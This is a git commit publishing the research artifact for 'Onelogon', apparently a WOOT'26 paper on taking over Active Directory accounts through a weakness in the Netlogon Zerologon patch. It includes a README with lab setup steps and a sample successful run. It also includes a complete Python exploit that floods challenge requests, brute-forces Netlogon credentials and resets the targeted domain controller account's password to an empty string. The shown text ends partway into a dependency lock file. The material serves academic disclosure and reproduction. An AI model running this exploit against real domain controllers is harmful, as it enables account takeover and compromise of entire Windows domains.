commit 866b893819ee7c72e6c9137148885cc25dbd1b73 Author: Tobias Holl Date: Mon Jun 22 16:23:59 2026 +0200 Onelogon: Initial public release diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c18dd8d --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +__pycache__/ diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..28243e7 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Alexander Neff + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..4f22b6b --- /dev/null +++ b/README.md @@ -0,0 +1,222 @@ +# Onelogon: Taking over Active Directory Accounts via Netlogon + +This repository contains code and data accompanying our paper [*Onelogon: Taking over Active Directory Accounts via Netlogon*](https://softsec.link/woot26.onelogon) (WOOT'26). + +1. [Context](#context) +2. [How to Cite](#how-to-cite) +3. [Artifact Structure and Setup](#artifact-structure-and-setup) +4. [Setting Up a Test Environment](#setting-up-a-test-environment) +5. [Scanning for Vulnerable Setups](#scanning-for-vulnerable-setups) +6. [Exploitation](#exploitation) +7. [Reproducing the Measurements](#reproducing-the-measurements) + +--- + +## Context + +The vulnerability outlined in our paper attacks a weakness in the 2020 cryptographic patch for the Zerologon vulnerability. +Accounts listed in a group policy intended to allow support for legacy setups that do not support Netlogon signing and sealing are vulnerable to this attack. +A detailed description of the vulnerability, the expected full attack chain, and possible mitigations can be found [in the paper](onelogon.pdf). + +## How to Cite + +```bibtex +@inproceedings{woot2026-onelogon, + title = {{Onelogon: Taking over Active Directory Accounts via Netlogon}}, + author = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin}, + booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies}, + date = {2026-08}, + editor = {Bianchi, Antonio and Classen, Jiska}, + location = {Baltimore, MD, USA}, + publisher = {USENIX Association} +} +``` + +## Artifact Structure and Setup + +The artifact consists of a Python [`poetry`](https://python-poetry.org/) project for the scanner and exploits. + +To run the scripts provided with the artifact, install Python (3.12 or later) and either `poetry` ([instructions](https://python-poetry.org/docs/)) or `uv` ([instructions](https://docs.astral.sh/uv/getting-started/installation/)). For simplicity, we list the commands assuming that you are using `poetry`; should you choose to use `uv`, simply replace any mention of `poetry` with `uv`. + +Any commands in this document should be run in the artifact root directory (where this README is). + +If using `poetry`, run `poetry install` to install all dependencies. + +## Setting Up a Test Environment + +To reproduce the results of the paper, you can set up a Domain Controller using a version of Windows Server with Zerologon fixed (we have verified the exploit against both the 2019 and 2025 versions). + +To set up the Domain Controller on a new installation of Windows Server 2025, run the following commands: + +```powershell +# Update system and rename computer to "DC" +Install-Module -Name PSWindowsUpdate -Force +Install-WindowsUpdate -MicrosoftUpdate -AcceptAll +Rename-Computer -NewName "DC" -Restart + +# Set up the domain (as "onelogon.local") +Install-WindowsFeature AD-Domain-Services -IncludeManagementTools +Install-ADDSForest -DomainName "onelogon.local" + +# Disable Administrator password expiry to keep the VM usable +Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true +``` + +The vulnerability applies to any account listed in the DACL in the _Domain Controller: Allow vulnerable Netlogon secure channel connections_ group policy object or the corresponding registry key: +`HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList` + +You can manually configure these parameters on the Domain Controller (remember to run `gpupdate /force` if you update the GPO entry), or run the following command to add all accounts to the DACL in the registry key: + +```powershell +Set-GPRegistryValue -Name "Default Domain Controllers Policy" ` + -Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" ` + -ValueName "VulnerableChannelAllowList" ` + -Type String ` + -Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone +``` + +## Scanning for Vulnerable Setups + +To determine which accounts a Domain Controller lists in its `VulnerableChannelAllowList`, we provide a scanner that parses the registry hive and GPO volume share of the Domain Controller. +Note that accessing the registry for this scan requires Domain Administrator privileges (the exploit, of course, does not). + +```powershell +# Use the specified username and password to scan the target DC. +poetry run scan --dc-ip --username --password + +# Specify `--help` to get additional usage instructions. +poetry run scan --help +``` + +A _positive_ scan result (there are vulnerable accounts on the Domain Controller) will reflect the security descriptor containing the vulnerable accounts (in Microsoft's Security Descriptor Definition Language): + +``` +~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC +[+] Found 1 matching policies in SYSVOL Share. +[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}': + 'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)' +[+] Found VulnerableChannelAllowList registry configuration: + O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000) +``` + +A _negative_ result (the target DC is _not_ vulnerable) will instead look like this: + +``` +~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC +[-] No matching policies found in SYSVOL Share. +[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND + - The system cannot find the file specified. +``` + +## Exploitation + +To run the proof-of-concept exploit against a target Domain Controller, select a vulnerable account first. +You will need the Domain Controller's IP address, its host name, and the name of the vulnerable account. + +In our example setup, the vulnerable Domain Controller is named `DC`. +Its machine account (`DC$`) is included in the GPO policy and therefore vulnerable to Onelogon. + +```bash +# Run the meet-in-the-middle attack (Section 4.5 of the paper) +poetry run onelogon --dc-ip --dc-name \ + --username + +# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper) +poetry run onelogon --dc-ip --dc-name \ + --username \ + --comp-username --comp-pass + +# Run the (slow) 32-bit brute-force with a computer account +poetry run onelogon --naive --dc-ip --dc-name \ + --username \ + --comp-username --comp-pass + +# Run the (very slow) 32-bit brute-force without a computer account +poetry run onelogon --naive --dc-ip --dc-name \ + --username +``` + +
+ Successful exploit output + +As an illustration, we provide the output of a successful run of the meet-in-the-middle attack against a test environment: + +``` +~$ poetry run onelogon --dc-ip 192.168.108.244 --dc-name DC --username 'DC$' +[+] Namespace(dc_name='DC', dc_ip='192.168.108.244', username='DC$', comp_username=None, + comp_password=None, comp_hash=None, workers=100) +[+] Successfully bound to Netlogon RPC on DC (192.168.108.244) +[+] Successfully bound to Netlogon RPC on DC (192.168.108.244) +[+] Using flags: (0b100001000111111111111111111111) +1: A IGNORED (Account lockout) +1: B NT3.5 BDC continuous update +1: C RC4 support +1: D IGNORED (Promotion count(deprecated)) +1: E Supports BDC handling Changelogs +1: F Supports Restarting full DC sync +1: G Does not require ValidationLevel 2 for nongeneric passthrough +1: H Supports DatabaseRedo +1: I Supports refusal of password changes +1: J Supports NetrLogonSendToSam +1: K Supports generic pass-through +1: L Supports concurrent RPC calls +1: M Supports avoid of user account database replication +1: N Supports avoid of Security Authority database replication +1: O Supports Strong keys +1: P Supports transitive trusts +1: Q IGNORED (Supports DNS trusts) +1: R Supports NetrServerPasswordSet2 +1: S Supports NetrLogonGetDomainInfo +1: T Supports cross-forest trusts +1: U No NT4 Emulation +0: V Supports RODC pass-through +0: 0 +0: 0 +1: W Supports AES 128-bit CFB and SHA2 +0: 0 +0: 0 +0: 0 +0: 0 +1: X IGNORED (Authenticated RPC via lsass supported) +0: Y Supports secure RPC authentication +0: Z Supports Kerberos for secure channel setup +[*] Estimated total tries without flushing: 2^16 / 2 + +[+] Starting the brute force attack... +[*] ROUND STATS: +[*] REQ: Took 5.0858272750047036 seconds, + average time per attempt: 0.00286042028965393909 seconds +[*] TRY: Took 120.00023781700293 seconds +[*] CLEANUP: Took 5.999754648655653e-08 seconds +[*] ALL: Took 125.08606619200145 seconds, + average time per attempt: 0.07035211821822354161 seconds +[*] +[*] TOTAL STATS: +[*] TOTAL: 0.10 hours passed, average time per attempt: 0.06760343967316766178 seconds +[*] TRIES: 5538, average tries per cycle: 1846 +[*] Estimated progress: 16.90%, estimated time remaining: 0.51 hours +[+] !!!Successfully authenticated DC$ on DC with b'\x00\x00\x00\x00\x11\x11\x04x'!!! +[+] Password set successfully to empty string! +[+] Successfully set the password of DC$ to an empty string! +[+] All tasks have been processed, stopping workers. +[+] All workers have been stopped. +``` +
+ + +## Reproducing the Measurements + +To reproduce the measurements in Table 1 of the paper, execute all four exploits described in the previous section. + +You can obtain the expected attack time without completing the full attack, which would be prohibitively expensive for the naive approaches. + +The speed of the 32-bit brute-force that waits for the timeout is bounded by the validity period of the client challenges. A full cycle (in which 100k challenges can be processed) then takes 120s (the timeout for the challenge list to be cleared). The expected attack time, therefore, is always $\frac{2^{31}}{100000}\cdot 120\mathrm{s} \approx 29.83\mathrm{d}$. + +For attacks that use a computer account (both the 32-bit and 24-bit attacks), take the average time per attempt $t$ from the **`TOTAL STATS`** section of the output. The 32-bit attack needs on average $2^{31}$ attempts (for a total expected time of $2^{31}t$). Similarly, the expected duration of the 24-bit attack is $2^{23}t$. + +For the meet-in-the-middle approach, we cannot attempt all possible client credentials within the 120 second challenge expiry time. +Instead, the expected time for the attack is determined by how many authentiaction attempts we can perform within that time frame. +To obtain this figure, take the _average number of tries per cycle_ $a$ from the **`TOTAL STATS`** section of the output. +Since we need on average $2^{15}$ authentication attempts to obtain a success rate of 50%, the expected attack time is simply $2^{15} \cdot a^{-1} \cdot 120\mathrm{s}$ + +The exact timings obtained will depend on the exact hardware and software setup. diff --git a/artifact.pdf b/artifact.pdf new file mode 100644 index 0000000..e4c1026 Binary files /dev/null and b/artifact.pdf differ diff --git a/exploit/onelogon.py b/exploit/onelogon.py new file mode 100644 index 0000000..d061b0d --- /dev/null +++ b/exploit/onelogon.py @@ -0,0 +1,331 @@ +import argparse +from exploit.utils import AES_128_BIT_CFB_AND_SHA2, FLAGS, log +from impacket.dcerpc.v5 import nrpc, epm, transport +from impacket.dcerpc.v5.dtypes import NULL +from impacket.nt_errors import STATUS_ACCESS_DENIED +from multiprocessing import JoinableQueue, Process +import time +import signal + +# Increase file limit +import resource + +file_limit = list(resource.getrlimit(resource.RLIMIT_NOFILE)) +if file_limit[1] > 10000: + file_limit[0] = 10000 +else: + file_limit[0] = file_limit[1] +file_limit = tuple(file_limit) +resource.setrlimit(resource.RLIMIT_NOFILE, file_limit) + + +def parse_args(): + parser = argparse.ArgumentParser(description="Netlogon RPC Client") + parser.add_argument("--dc-name", help="Domain Controller Name") + parser.add_argument("--dc-ip", required=True, help="Domain Controller IP Address") + parser.add_argument("--username", "-u", required=True, help="sAMAccountName of the domain controller") + parser.add_argument("--comp-username", help="sAMAccountName of the computer account for buffer flushing") + parser.add_argument("--comp-password", help="Computer password for buffer flushing") + parser.add_argument("--comp-hash", help="Computer hash for buffer flushing (optional, if not provided, password will be used)") + parser.add_argument("--workers", "-w", type=int, default=100, help="Number of worker threads") + parser.add_argument("--naive", action="store_true", help="Use naive approach and bruteforce 2^32") + return parser.parse_args() + + +def connect(dc_ip, dc_name, silent=False): + binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") + rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_con.connect() + try: + rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + if not silent: + log(f"Successfully bound to Netlogon RPC on {dc_name} ({dc_ip})") + return rpc_con + except Exception as e: + log(f"Failed to bind to Netlogon RPC: {e}", "red") + exit(1) + + +def req_challenges_worker(queue: JoinableQueue, dc_ip, dc_name, computer_name, client_chall, per_worker): + # Ignore SIGINT in this process (worker will not react to Ctrl+C) + signal.signal(signal.SIGINT, signal.SIG_IGN) + + rpc_con = connect(dc_ip, dc_name, silent=True) + while True: + task = queue.get() + + if task == "STOP": + queue.task_done() + break + try: + for _ in range(per_worker): + nrpc.hNetrServerReqChallenge( + rpc_con, + f"{dc_name}\x00", + f"{computer_name}\x00", + client_chall + ) + except Exception as e: + log(f"Worker error: {e}", "red") + finally: + queue.task_done() + + +def do_successful_authentication(rpc_con, dc_name, computername, username, password=None, nt_hash=None, server_chall=None): + if password is None and nt_hash is None: + raise ValueError("Either password or nt_hash must be provided") + + AccountName = f"{username}$" # Account that tries to authenticate + ComputerName = computername + client_chall = b"12345678" + + flags = FLAGS(0b0100000000111111111111111111111) + flags.set_bit(AES_128_BIT_CFB_AND_SHA2) # Set the AES flag + + if not server_chall: + # Request server challenge if not provided + resp = nrpc.hNetrServerReqChallenge( + rpc_con, + f"{dc_name}\x00", + f"{ComputerName}\x00", + client_chall, + ) + server_chall = resp["ServerChallenge"] + + # Local computations + session_key = nrpc.ComputeSessionKeyAES( + password, + client_chall, + server_chall, + nt_hash, + ) + + ClientStoredCredential = nrpc.ComputeNetlogonCredentialAES( + client_chall, + session_key, + ) + + # Authenticate with the server + nrpc.hNetrServerAuthenticate2( + rpc_con, + NULL, + f"{AccountName}\x00", + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, + f"{ComputerName}\x00", + ClientStoredCredential, + flags.flag + ) + + +def set_password_empty(rpc_con, dc_name, AccountName, ComputerName, client_chall): + # Construct a valid authenticator + authenticator = nrpc.NETLOGON_AUTHENTICATOR() + authenticator["Credential"] = client_chall # The encryption will revert the last byte back to the original value + authenticator["Timestamp"] = 0 + + # Construct the ClearNewPassword structure as empty password + new_pw = "".encode("utf-16le") + assert len(new_pw) <= 512 + ClearNewPassword = nrpc.NL_TRUST_PASSWORD() + ClearNewPassword["Buffer"] = (b"\x00" * (512 - len(new_pw))) + new_pw + ClearNewPassword["Length"] = len(new_pw) + assert len(ClearNewPassword.getData()) == 516 + assert ClearNewPassword.getData() == b"\x00" * 516 + + req = nrpc.NetrServerPasswordSet2() + req["PrimaryName"] = f"{dc_name}\x00" + req["AccountName"] = f"{AccountName}\x00" + req["SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel + req["ComputerName"] = f"{ComputerName}\x00" + req["Authenticator"] = authenticator + req["ClearNewPassword"] = ClearNewPassword.getData() + try: + rpc_con.request(req) + log("Password set successfully to empty string!") + return True + except nrpc.DCERPCException: + return False + + +def clear_lines(n): + r""" + Clears n lines in the terminal. + \033[F moves the cursor up one line. + \033[K clears the line. + """ + for _ in range(n): + print("\x1B[F\x1B[K", end="") + + +def main(): + args = parse_args() + log(args) + + # Set up arg variables + dc_ip = args.dc_ip + dc_name = args.dc_name + username = args.username.rstrip("$") # Remove trailing '$' if present + num_workers = args.workers + comp_username = args.comp_username.rstrip("$") if args.comp_username else None # Remove trailing '$' if present + comp_password = args.comp_password + comp_hash = bytes.fromhex(args.comp_hash) if args.comp_hash else None + + # Setup two rpc connections for the cleanup auth and our main authentication try + rpc_con_auth = connect(dc_ip, dc_name) + rpc_con_cleanup = connect(dc_ip, dc_name) + + # Define the flags for AES authentication + flags = FLAGS(0b0100000000111111111111111111111) + flags.set_bit(AES_128_BIT_CFB_AND_SHA2) # Set the AES flag + log(f"Using flags: ({bin(flags.flag)}) \n{flags} ") + + # Define auth vars + tries = 100_000 # 100_000 cache places but leave some room for clean up and other connections + per_worker = tries // num_workers + AccountName = f"{username}$" # Account that tries to authenticate + ComputerName = username # NetBIOS name of the client computer authenticating + client_chall = b"\x00" * 4 + b"\x11" * 3 + b"\x00" + + # Set up multiprocessing queue for request challenges + task_queue = JoinableQueue() + processes = [] + for _ in range(num_workers): + p = Process( + target=req_challenges_worker, + args=(task_queue, dc_ip, dc_name, ComputerName, client_chall, per_worker) + ) + p.start() + processes.append(p) + + # To be sure we have a clean start, do a successful authentication first + if comp_username: + do_successful_authentication(rpc_con_cleanup, dc_name, ComputerName, username=comp_username, password=comp_password, nt_hash=comp_hash) + + total_time = 0 + total_tries = 0 + cycles = 0 + if comp_username and not args.naive: + log("Estimated total tries with flushing: 2^24 / 2") + exp_tries = 2**24 / 2 + authenticator_complexity = 2**8 + elif args.naive: + log("Estimated total tries (naive): 2^32 / 2") + exp_tries = 2**32 / 2 + authenticator_complexity = 1 + else: + log("Estimated total tries without flushing: 2^16 / 2") + exp_tries = 2**16 / 2 + authenticator_complexity = 2**16 + + # Stop bruteforce if we found a valid clientCredential + found = False + + print() + log("Starting the brute force attack...") + try: + while not found: + cycles += 1 + start_all = time.perf_counter() + start_req = time.perf_counter() + + # Request server challenge for clean up so it is the first item in the request list + resp = nrpc.hNetrServerReqChallenge( + rpc_con_cleanup, + f"{dc_name}\x00", + f"{ComputerName}\x00", + b"12345678" # Dummy client challenge, + ) + server_chall = resp["ServerChallenge"] + + # Perform challenge requests + for _ in range(num_workers): + task_queue.put("REQUEST") + task_queue.join() # Block until all tasks are processed + end_req = time.perf_counter() + + # Try to guess the clientCredential which should be client_challenge[:6] + 2x rand_byte + start_auth = time.perf_counter() + tries_this_round = tries + for i in range(authenticator_complexity): + # If we exceed 2 minutes, resend challenges and restart the round due to automatic cache flush + curr_time = time.perf_counter() + if curr_time - start_auth > 120: + tries_this_round = i + break + + try: + if comp_username: + clientCredential = client_chall[:7] + int.to_bytes(i, 1) + else: + clientCredential = client_chall[:6] + int.to_bytes(i, 2) + + # Check if session key encrypts the client challenge with null bytes + nrpc.hNetrServerAuthenticate2( + rpc_con_auth, + NULL, + f"{AccountName}\x00", + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + f"{ComputerName}\x00", + clientCredential, # IF THIS WORKS WE FOUND THE CORRECT SESSION KEY + flags.flag + ) + log(f"!!!Successfully authenticated {AccountName} on {dc_name} with {clientCredential}!!!") + found = True + except nrpc.DCERPCSessionError as e: + if e.get_error_code() == STATUS_ACCESS_DENIED: + pass + else: + raise e + except Exception as e: + log(f"Authentication error: {e}", "red") + end_auth = time.perf_counter() + + if not found: + start_cleanup = time.perf_counter() + if comp_username: + do_successful_authentication(rpc_con_cleanup, dc_name, ComputerName, username=comp_username, password=comp_password, nt_hash=comp_hash, server_chall=server_chall) + end_cleanup = time.perf_counter() + + end_all = time.perf_counter() + + # Flush previous lines + if total_tries != 0: + clear_lines(10) + + # Track all time stats + total_tries += tries_this_round + total_time += end_all - start_all + + # Log the timing information + log("ROUND STATS:", "blue") + log(f"REQ: Took {end_req - start_req} seconds, average time per attempt: {(end_req - start_req) / (tries_this_round):.20f} seconds", "blue") + log(f"TRY: Took {end_auth - start_auth} seconds", "blue") + log(f"CLEANUP: Took {end_cleanup - start_cleanup} seconds", "blue") + log(f"ALL: Took {end_all - start_all} seconds, average time per attempt: {(end_all - start_all) / (tries_this_round):.20f} seconds", "blue") + log("", "blue") + log("TOTAL STATS:", "blue") + log(f"TIME: {total_time / 60 / 60:.2f} hours passed, average time per attempt: {total_time / (total_tries):.20f} seconds", "blue") + log(f"TRIES: {total_tries}, average tries per cycle: {total_tries // cycles}", "blue") + log(f"Estimated progress: {(total_tries / exp_tries) * 100:.2f}%, estimated time remaining: {((total_time / total_tries) * (exp_tries - total_tries)) / 60 / 60:.2f} hours", "blue") + + # SET THE NEW PASSWORD TO EMPTY STRING + for i in range(256): + if set_password_empty(rpc_con_auth, dc_name, AccountName, ComputerName, client_chall[:7] + int.to_bytes(i)): + log(f"Successfully set the password of {AccountName} to an empty string!") + break + except KeyboardInterrupt: + print("\x1B[K", end="\r") + log("KeyboardInterrupt received, exiting gracefully.") + finally: + # Stop all worker processes + for _ in processes: + task_queue.put("STOP") + + log("All tasks have been processed, stopping workers.") + for p in processes: + p.join() + print(f"Worker {p.pid} has been stopped.", end="\r", flush=True) + + log("All workers have been stopped.") + task_queue.join() + task_queue.close() diff --git a/exploit/utils.py b/exploit/utils.py new file mode 100644 index 0000000..0171608 --- /dev/null +++ b/exploit/utils.py @@ -0,0 +1,145 @@ +from termcolor import colored + + +NT35_BDC_CONTINUOUS_UPDATE = 0b10 +RC4_SUPPORT = 0b100 +BDC_HANDLING_CHANGELOGS = 0b10000 +RESTARTING_FULL_DC_SYNC = 0b100000 +NO_VALIDATION_LEVEL_2_FOR_NON_GENERIC_PASSTHROUGH = 0b10000000 +DATABASE_REDO = 0b10000000 +REFUSAL_OF_PASSWORD_CHANGES = 0b100000000 +NETRLOGON_SEND_TO_SAM = 0b1000000000 +GENERIC_PASS_THROUGH = 0b10000000000 +CONCURRENT_RPC_CALLS = 0b100000000000 +AVOID_USER_ACCOUNT_DATABASE_REPLICATION = 0b1000000000000 +AVOID_SECURITY_AUTHORITY_DATABASE_REPLICATION = 0b10000000000000 +STRONG_KEYS = 0b100000000000000 +TRANSITIVE_TRUSTS = 0b1000000000000000 +NETR_SERVER_PASSWORD_SET2 = 0b100000000000000000 +NETR_LOGON_GET_DOMAIN_INFO = 0b1000000000000000000 +CROSS_FOREST_TRUSTS = 0b10000000000000000000 +NO_NT4_EMULATION = 0b100000000000000000000 +RODC_PASS_THROUGH = 0b1000000000000000000000 +AES_128_BIT_CFB_AND_SHA2 = 0b1000000000000000000000000 +AUTHENTICATED_RPC_VIA_LSASS_SUPPORTED = 0b100000000000000000000000000000 +SECURE_RPC_AUTHENTICATION = 0b1000000000000000000000000000000 +KERBEROS_FOR_SECURE_CHANNEL_SETUP = 0b10000000000000000000000000000000 + + +# 3.1.4.2 Netlogon Negotiate Options +class FLAGS: + def __init__(self, flag: int): + self.flag = flag + if flag < 0 or flag > 0xFFFFFFFF: + raise ValueError("Flags must be a 32-bit unsigned integer.") + + self.flag_values = { + 0b1: "A IGNORED (Account lockout)", + 0b10: "B NT3.5 BDC continuous update", + 0b100: "C RC4 support", + 0b1000: "D IGNORED (Promotion count(deprecated))", + 0b10000: "E Supports BDC handling Changelogs", + 0b100000: "F Supports Restarting full DC sync", + 0b1000000: "G Does not require ValidationLevel 2 for nongeneric passthrough", + 0b10000000: "H Supports DatabaseRedo", + 0b100000000: "I Supports refusal of password changes", + 0b1000000000: "J Supports NetrLogonSendToSam", + 0b10000000000: "K Supports generic pass-through", + 0b100000000000: "L Supports concurrent RPC calls", + 0b1000000000000: "M Supports avoid of user account database replication", + 0b10000000000000: "N Supports avoid of Security Authority database replication", + 0b100000000000000: "O Supports Strong keys", + 0b1000000000000000: "P Supports transitive trusts", + 0b10000000000000000: "Q IGNORED (Supports DNS trusts)", + 0b100000000000000000: "R Supports NetrServerPasswordSet2", + 0b1000000000000000000: "S Supports NetrLogonGetDomainInfo", + 0b10000000000000000000: "T Supports cross-forest trusts", + 0b100000000000000000000: "U No NT4 Emulation", + 0b1000000000000000000000: "V Supports RODC pass-through", + 0b10000000000000000000000: "0", + 0b100000000000000000000000: "0", + 0b1000000000000000000000000: "W Supports AES 128-bit CFB and SHA2", + 0b10000000000000000000000000: "0", + 0b100000000000000000000000000: "0", + 0b1000000000000000000000000000: "0", + 0b10000000000000000000000000000: "0", + 0b100000000000000000000000000000: "X IGNORED (Authenticated RPC via lsass supported)", + 0b1000000000000000000000000000000: "Y Supports secure RPC authentication", + 0b10000000000000000000000000000000: "Z Supports Kerberos for secure channel setup", + } + + def compare(self, other): + if not isinstance(other, FLAGS): + raise TypeError("Comparison is only supported with another FLAGS instance.") + if self.flag == other.flag: + return "Equal" + else: + out = "Self - Other - Difference:\n" + for i in range(1, 33): + if (self.flag & (1 << i)) != (other.flag & (1 << i)): + out += f"{(self.flag & (1 << i)) >> i} - {(other.flag & (1 << i)) >> i}: {self.flag_values[1 << i]}\n" + return out + + def set_bit(self, flag: int): + if flag < 0 or flag > 0xFFFFFFFF: + raise ValueError("Flags must be a 32-bit unsigned integer.") + self.flag |= flag + + def unset_bit(self, flag: int): + if flag < 0 or flag > 0xFFFFFFFF: + raise ValueError("Flags must be a 32-bit unsigned integer.") + self.flag &= ~flag + + def __str__(self): + out = "" + out += f"{self.flag & 1}: A IGNORED (Account lockout)" + out += f"\n{(self.flag & 2) >> 1}: B NT3.5 BDC continuous update" + out += f"\n{(self.flag & 4) >> 2}: C RC4 support" + out += f"\n{(self.flag & 8) >> 3}: D IGNORED (Promotion count(deprecated))" + out += f"\n{(self.flag & 0x10) >> 4}: E Supports BDC handling Changelogs" + out += f"\n{(self.flag & 0x20) >> 5}: F Supports Restarting full DC sync" + out += f"\n{(self.flag & 0x40) >> 6}: G Does not require ValidationLevel 2 for nongeneric passthrough" + out += f"\n{(self.flag & 0x80) >> 7}: H Supports DatabaseRedo" + out += f"\n{(self.flag & 0x100) >> 8}: I Supports refusal of password changes" + out += f"\n{(self.flag & 0x200) >> 9}: J Supports NetrLogonSendToSam" + out += f"\n{(self.flag & 0x400) >> 10}: K Supports generic pass-through" + out += f"\n{(self.flag & 0x800) >> 11}: L Supports concurrent RPC calls" + out += f"\n{(self.flag & 0x1000) >> 12}: M Supports avoid of user account database replication" + out += f"\n{(self.flag & 0x2000) >> 13}: N Supports avoid of Security Authority database replication" + out += f"\n{(self.flag & 0x4000) >> 14}: O Supports Strong keys" + out += f"\n{(self.flag & 0x8000) >> 15}: P Supports transitive trusts" + out += f"\n{(self.flag & 0x10000) >> 16}: Q IGNORED (Supports DNS trusts)" + out += f"\n{(self.flag & 0x20000) >> 17}: R Supports NetrServerPasswordSet2" + out += f"\n{(self.flag & 0x40000) >> 18}: S Supports NetrLogonGetDomainInfo" + out += f"\n{(self.flag & 0x80000) >> 19}: T Supports cross-forest trusts" + out += f"\n{(self.flag & 0x100000) >> 20}: U No NT4 Emulation" + out += f"\n{(self.flag & 0x200000) >> 21}: V Supports RODC pass-through" + out += f"\n{(self.flag & 0x400000) >> 22}: 0" + out += f"\n{(self.flag & 0x800000) >> 23}: 0" + out += f"\n{(self.flag & 0x1000000) >> 24}: W Supports AES 128-bit CFB and SHA2" + out += f"\n{(self.flag & 0x2000000) >> 25}: 0" + out += f"\n{(self.flag & 0x4000000) >> 26}: 0" + out += f"\n{(self.flag & 0x8000000) >> 27}: 0" + out += f"\n{(self.flag & 0x10000000) >> 28}: 0" + out += f"\n{(self.flag & 0x20000000) >> 29}: X IGNORED (Authenticated RPC via lsass supported)" + out += f"\n{(self.flag & 0x40000000) >> 30}: Y Supports secure RPC authentication" + out += f"\n{(self.flag & 0x80000000) >> 31}: Z Supports Kerberos for secure channel setup" + return out + + def __eq__(self, value): + if not isinstance(value, FLAGS): + return NotImplemented + return self.flag == value.flag + + +def log(message, color=None): + """Simple logging function to print messages.""" + if color: + if color == "blue": + print(f"{colored('[*]', 'blue', attrs=['bold'])} {message}") + elif color == "orange": + print(f"{colored('[!]', 'yellow', attrs=['bold'])} {message}") + else: + print(colored(f"{message}", color, attrs=["bold"])) + else: + print(f"{colored('[+]', 'green', attrs=['bold'])} {message}") diff --git a/onelogon.pdf b/onelogon.pdf new file mode 100644 index 0000000..76b9ccc Binary files /dev/null and b/onelogon.pdf differ diff --git a/poetry.lock b/poetry.lock new file mode 100644 index 0000000..fe53ab6 --- /dev/null +++ b/poetry.lock @@ -0,0 +1,692 @@ +# This file is automatically @generated by Poetry 2.3.4 and should not be changed by hand. + +[[package]] +name = "blinker" +version = "1.9.0" +description = "Fast, simple object-to-object and broadcast signaling" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc"}, + {file = "blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf"}, +] + +[[package]] +name = "cffi" +version = "1.17.1" +description = "Foreign Function Interface for Python calling C code." +optional = false +python-versions = ">=3.8" +groups = ["main"] +markers = "platform_python_implementation != \"PyPy\"" +files = [ + {file = "cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14"}, + {file = "cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edae79245293e15384b51f88b00613ba9f7198016a5948b5dddf4917d4d26382"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45398b671ac6d70e67da8e4224a065cec6a93541bb7aebe1b198a61b58c7b702"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad9413ccdeda48c5afdae7e4fa2192157e991ff761e7ab8fdd8926f40b160cc3"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5da5719280082ac6bd9aa7becb3938dc9f9cbd57fac7d2871717b1feb0902ab6"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = 